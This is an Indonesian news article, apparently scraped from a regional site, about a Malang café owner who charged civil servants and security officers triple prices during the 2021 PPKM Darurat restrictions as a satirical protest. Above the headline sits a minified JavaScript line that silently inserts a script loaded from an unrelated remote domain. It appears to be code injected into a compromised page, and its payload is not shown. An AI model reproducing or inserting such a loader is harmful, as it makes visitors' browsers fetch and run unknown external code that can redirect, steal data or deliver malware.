(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Cara Protes Kafe di Tengah PPKM Darurat, Khusus PNS Harga 3 Kali Lipat


KANALKALIMANTAN.COM – Sebuah kedai kopi alias kafe di Kota Malang menaikkan harga tiga kali lipat khusus aparat dan PNS. Promo khusus itu berlaku selama penerapan PPKM Darurat.

Pemilik kedai, Cahya Sinda (24 tahun) mengatakan, promo menaikkan harga kopinya tiga kali lipat bukan tanpa sebab. Ia menilai, aparat (TNI dan Polri) dan PNS atau ASN merupakan golongan yang tidak terdampak besar akibat PPKM Darurat yang telah dimulai 3 Juli 2021 itu.

Namun, tidak demikian dengan para pedagang kecil dan UMKM lainnya, termasuk kedai kopi. Akibat PPKM darurat, aktivitas usaha sangat terimbas. Terutama tentang larangan melayani makan di tempat (dine in) dan mengharuskan beli tapi dibawa pulang atau take away. Kemudian, pembatasan jam operasional alias jam malam.

“Kenapa bayar tiga kali, karena mereka sektor yang tidak terdampak. Mereka punya penghasilan tetap, pendapatan mereka stabil tidak seperti para pedagang kecil maupun pelaku UMKM,” ujar Cahya dikutip dari beritajatim.com — jejaring media suara.com, Jumat (16/7/2021).

 

 

Baca juga: Lonjakan Tajam Kasus Harian, Tim Satgas Covid-19 ‘Curiga’ Varian Delta Sudah Masuk Kalsel

Ia juga menganggap pemerintah kurang berpihak pada pelaku UMKM, lantaran tidak bantuan sosial (bansos) tidak merata.

“Kita kebingungan baru buka kemudian ketabrak aturan PPKM. Sempat jalan dan semakin hari semakin sepi. Terus terang saja, sebenarnya orangtua saya PNS kakak saya pegawai kesehatan. Mereka kan punya penghasilan tetap ekonomi mereka stabil sementara segmen lainnya sangat terdampak,” kata Cahya.

Baca juga: WASPADA. Rekor Baru Covid-19 Kalsel Hari Ini Capai 645 Kasus, Banjarmasin Tertinggi

Akibat kondisi itu, tercetuslah sebuah kritik satire dalam bentuk promo tersebut. Menurutnya, Pemerintah telah memainkan diksi dengan mengubah istilah lockdown menjadi PPKM Darurat. Sebagai siasat mereka juga membuat diksi bayar tiga kali lipat bagi PNS, ASN, dan Aparat yang mendapat gaji dari negara. Promo ini juga sebagai implementasi bantuan sosial oleh negara kepada pelaku UMKM.

“Kalau pemerintah bisa bermain diksi lockdown diganti PPKM Darurat. Kita juga bisa bermain diksi minta bansos dengan menaikan harga tiga kali lipat untuk pegawai pemerintahan dan aparat. Jadi istilahnya minta bansos itu kita ganti dengan promo bayar tiga kali lipat bagi PNS, dan aparat,” tandasnya. (Suara.com)

Reporter: Suara.com
Editor: kk


Al Ghifari

Recent Posts

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

12 jam ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

12 jam ago

Perkuat Tata Kelola Perusahaan, PLN Tingkatkan Sinergi dengan Dua Kejati di Kalimantan

KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

12 jam ago

Begini Hitung-hitungan Pajak Baru Kendaraan Bermotor 2025

KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More

14 jam ago

Sinergi Pelayanan Antar Proses Bisnis, PLN UIP3B Kalimantan Gelar Customer Gathering 2024

KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

15 jam ago

Kemajuan Pembangunan Kabupaten Banjar di Segala Bidang

KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More

16 jam ago

This website uses cookies.